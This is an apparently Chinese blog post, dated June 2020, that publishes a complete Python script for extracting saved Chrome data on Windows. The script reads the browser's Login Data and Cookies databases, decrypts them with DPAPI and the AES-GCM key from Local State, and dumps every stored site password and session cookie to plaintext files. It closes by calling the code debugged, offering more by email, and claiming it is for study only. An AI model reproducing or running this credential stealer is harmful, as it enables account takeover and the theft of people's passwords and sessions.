Friday, June 5, 2020 ---Andy
效果
代碼
import base64
import json
import os
import sqlite3
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
from win32crypt import CryptUnprotectData
def sqlite_execute(database='sqlite_test_db.db', sql="select name from sqlite_master"):
"""Sqlite3操作函數(shù)逃糟,@return: select操作:rows-->[()...]"""
try:
# 1.連接數(shù)據(jù)庫
conn = sqlite3.connect(database)
# 2.執(zhí)行sql:以查詢數(shù)據(jù)庫里面包含的所有表為例
rows = [row for row in conn.execute(sql)]
# 3.關(guān)閉數(shù)據(jù)庫
conn.close()
return rows
except Exception as e:
print(e)
finally:
conn.close()
def decrypt_google_data(data):
"""破解Google瀏覽器數(shù)據(jù)加密(包括登錄密碼和Cookies)"""
if data[0:3] != b'v10':
return CryptUnprotectData(data)[1].decode('utf-8')
else:
# 針對:chrome 80+版本以后對 cookie加密方式
def get_the_encrypted_key():
local_state = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Local State'
with open(local_state, 'r', encoding='utf-8') as f:
base64_encrypted_key = json.load(f)['os_crypt']['encrypted_key']
encrypted_key_with_header = base64.b64decode(base64_encrypted_key)
encrypted_key = encrypted_key_with_header[5:]
decrypted_key = CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
return decrypted_key
key = get_the_encrypted_key()
nonce, cipherbytes = data[3:15], data[15:]
aesgcm = AESGCM(key)
return aesgcm.decrypt(nonce, cipherbytes, None).decode('utf-8')
def get_password_from_chrome():
"""獲取Google瀏覽器網(wǎng)站登錄密碼"""
passwords_db_path = os.environ['LOCALAPPDATA'] + r'\Google\Chrome\User Data\Default\Login Data'
passwords_list = []
for row in sqlite_execute(database=passwords_db_path,
sql="select signon_realm,username_value,password_value from logins"):
password = decrypt_google_data(row[2])
passwords_list.append(f'url {row[0][:50]:<40} username {row[1]:<20} password {password}\n')
with open("GoogleBrowserPassword.txt", "w") as f:
f.writelines(passwords_list)
return passwords_list
def get_cookie_from_chrome():
"""獲取Google瀏覽器的網(wǎng)站Cookies"""
cookies_db_path = os.environ['LOCALAPPDATA'] + r"\Google\Chrome\User Data\Default\Cookies"
cookies_list = []
for row in sqlite_execute(database=cookies_db_path, sql="select host_key,name,encrypted_value from cookies"):
host_key, name, encrypted_value = row
cookies_list.append(f"{host_key}, {name}, {decrypt_google_data(row[2])}\n")
with open("GoogleBrowserCookies.txt", "w") as f:
f.writelines(cookies_list)
return cookies_list
if __name__ == '__main__':
get_password_from_chrome()
get_cookie_from_chrome()
最后
[1].代碼截止
2020-06-05
調(diào)試無誤。
[2].如需全部代碼及相關(guān)文件
躬贡,留言郵箱谆奥。
[3].過程中有任何問題,歡迎交流拂玻。Q597966823
[4].僅供學(xué)習(xí)交流使用酸些。